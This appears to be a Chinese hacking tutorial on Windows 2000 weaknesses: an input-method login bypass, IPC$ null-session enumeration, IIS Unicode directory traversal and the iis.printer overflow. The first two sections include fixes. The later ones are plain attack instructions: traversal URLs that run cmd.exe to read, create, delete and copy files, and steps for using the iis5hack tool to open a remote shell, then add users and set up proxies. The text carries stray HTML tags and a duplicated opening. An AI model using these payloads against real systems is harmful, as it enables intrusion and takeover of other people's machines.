黑客技术(菜鸟类)
本文详细介绍黑客在攻击windows2000系统时经常利用的一些漏洞和具体步骤以及应对策略,让网络系统管理员在维护系统时尽量做到有的放矢。有一句话非常有道理:“世界上没有绝对愚蠢的系统,只本文详细介绍黑客在攻击windows2000系统时经常利用的一些漏洞和具体步骤以及应对策略,让网络系统管理员在维护系统时尽量做到有的放矢。有一句话非常有道理:“世界上没有绝对愚蠢的系统,只有绝对愚蠢的管理员。”只要我们的网络管理员能够细心地维护系统,相信黑客们是没有可乘之机的。<I></I> 输入法漏洞
<p>
<p>
<P> 这里我们首先介绍一个登录错误,也就是常说的输入法漏洞。当我们启动windows2000进行到登录验证的提示界面时,任何用户都可以打开各种输入法的帮助栏,并且可以利用其中具有的一些功能访问文件系统,这也就是说我们可以绕过了windows2000的用户登录验证机制,并且能以最高管理员权限访问整个系统。所以说这个漏洞的危害性是很大的,而且当我们进入系统后,还可以利用terminal<I></I> server远程通信这个漏洞对系统进行攻击。默认的windows2000系统自带的输入法中有这个漏洞的是:智能abc,微软拼音,内码,全拼,双拼,郑码。所以就我感觉而言这个漏洞是首要修补的漏洞。
1、把不需要的输入法删除掉,例如郑码等。
2、但是毕竟我们不能把所有的自带输入法都删除,如果我们要使用有漏洞的输入法也可以把那个输入法的帮助文件删除掉。这些帮助文件通常在win2000的安装目录下(如:c:\winnt)的\help目录下,对应的帮助文件是:
※<I></I> winime.chm<I></I> 输入法操作指南<I></I>
※<I></I> winsp.chm<I></I> 双拼输入法帮助<I></I>
※<I></I> winzm.chm<I></I> 郑码输入法帮助<I></I>
※<I></I> winpy.chm<I></I> 全拼输入法帮助<I></I>
※<I></I> wingb.chm<I></I> 内码输入法帮助
3、强烈建议用户打sp3补丁。</P>
<P>netbios的信息泄漏<I></I> </P>
<p>
<P> <I></I> ipc$null<I></I> session(空会话)在nt系统里都是已知的安全隐患。虽然打了sp3后可以通过修改注册表来对其进行限制。但不知道为什么windows2000还是原封不动地保留着这个空对话。那么就让我们来看看空会话能给入侵者带来什么样的信息:</P>
<P>net<I></I> use<I></I> \\server\ipc$<I></I> ""<I></I> /user:""<I></I> //此命令用来建立一个空会话</P>
<P>net<I></I> view<I></I> \\server<I></I> //此命令用来查看远程服务器的共享资源</P>
<P>服务器名称 注释</P>
<P>-------------------------------------------------------
\\pc1
\\pc2
命令成功完成。</P>
<P>net<I></I> time<I></I> \\server<I></I> //此命令用来得到一个远程服务器的当前时间。</P>
<P>nbtstat<I></I> -a<I></I> server<I></I> //此命令用来得到远程服务器的netbios用户名字表</P>
<P>netbios<I></I> remote<I></I> machine<I></I> name<I></I> table</P>
<P>name<I></I> type<I></I> status
---------------------------------------------
null<I></I> <00><I></I> unique<I></I> registered
null<I></I> <20><I></I> unique<I></I> registered
internet<I></I> <00><I></I> group<I></I> registered
xixi<I></I> <03><I></I> unique<I></I> registered
inet~services<I></I> <1c><I></I> group<I></I> registered
is~null......<I></I> <00><I></I> unique<I></I> registered
internet<I></I> <1e><I></I> group<I></I> registered
administator<I></I> <03><I></I> unique<I></I> registered
internet<I></I> <1d><I></I> unique<I></I> registered
..__msbrowse__.<01><I></I> group<I></I> registered</P>
<P>mac<I></I> address<I></I> =<I></I> 00-54-4f-34-d8-80</P>
<P><I></I> <I></I> <I></I> <I></I> 看到了吗?上面出现了两个<03>,这里就看到了对方所有的用户名。</P>
<P><I></I> <I></I> <I></I> <I></I> 对应的修改方法:</P>
<P>hkey-local_machine\system\currentcontroset\control\lsa
<I>value</I><I></I> name:<I></I> restrictanonymous
data<I></I> type:<I></I> reg_dword
<I>value</I>:<I></I> 1</P>
<P> 如果你不需要这个服务的话,你可以使用以下命令来删除:</P>
<P>net<I></I> share<I></I> ipc$<I></I> /del<I></I> /这条命令是用来删除空会话</P>
<P>net<I></I> share<I></I> admin$<I></I> /del<I></I> /这条命令就删除了管理共享</P>
<P>unicode编码漏洞简单利用的命令<I></I> </P>
<P>http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir<I></I> </P>
<P>看到的目录是空的:(例如)<I></I>
directory<I></I> of<I></I> c:\inetpub\scripts<I></I>
2000-09-28<I></I> 15:49<I></I> 〈dir〉<I></I> .<I></I>
2000-09-28<I></I> 15:49<I></I> 〈dir〉<I></I> ..<I></I>
如果我们这样输入的话:<I></I> </P>
<P>http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\<I></I> </P>
<P>就可以看到该主机c:盘的目录和文件了。<I></I>
其他的一些简单的用法:<I></I>
1、显示文件内容<I></I>
如果想显示里面的其中一个badboy.txt文本文件,我们可以这样输入(htm,html,asp,bat等文件都是一样的)<I></I> </P>
<P>http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+type+c:\badboy.txt<I></I> </P>
<P>那么该文件的内容就可以通过ie显示出来。<I></I>
2、建立文件夹的命令<I></I> </P>
<P>http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+md+c:\badboy<I></I> </P>
<P>运行后我们可以看到返回这样的结果:<I></I>
cgi<I></I> error<I></I>
the<I></I> specified<I></I> cgi<I></I> application<I></I> misbehaved<I></I> by<I></I> not<I></I>
returning<I></I> a<I></I> complete<I></I>
set<I></I> of<I></I> http<I></I> headers.<I></I> the<I></I> headers<I></I> it<I></I> did<I></I> return<I></I> are:<I></I>
英文意思是<I></I>
cgi错误<I></I>
具体的cgi申请有误,不能返回完整的http标题,返回的标题为:<I></I>
3、删除空的文件夹命令:<I></I> </P>
<P>http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+rd+c:\badboy<I></I> </P>
<P>返回信息同上<I></I>
4、删除文件的命令:<I></I> </P>
<P>http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+del+c:\badboy.txt<I></I> </P>
<P>返回信息同上<I></I>
5、copy文件且改名的命令:<I></I> </P>
<P>http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\badboy.txt<I></I>
bad.txt<I></I>
返回信息:<I></I>
cgi<I></I> error<I></I>
the<I></I> specified<I></I> cgi<I></I> application<I></I> misbehaved<I></I> by<I></I> not<I></I>
returning<I></I> a<I></I> complete<I></I>
set<I></I> of<I></I> http<I></I> headers.<I></I> the<I></I> headers<I></I> it<I></I> did<I></I> return<I></I> are:<I></I>
1<I></I> file(s)<I></I> copied.<I></I> </P>
<P>iis.printer溢出攻击<I></I>
1,准备iishack,本站有下载,该版本可以对多种系统进行攻击。<I></I>
2,用x-scan或流光扫描一个有iis.printer漏洞的主机,然后就可以攻击了。<I></I>
3,在命令行方式执行iis5hack<I></I> (主机ip)<I></I> (端口号,默认80)(系统代号,具体可参考程序的说明)<I></I> (<I></I> shell口)<I></I>
例如:iis5hack<I></I> 11.11.22.22<I></I> 80<I></I> 1<I></I> 111(以为在111端口开一个shell)<I></I>
4,用nc或telnet连上,nc/telnet<I></I> 11.11.22.22<I></I> 111,成功的话就可以控制机器了,加个用户,做个代理……<I></I>
</P> |
|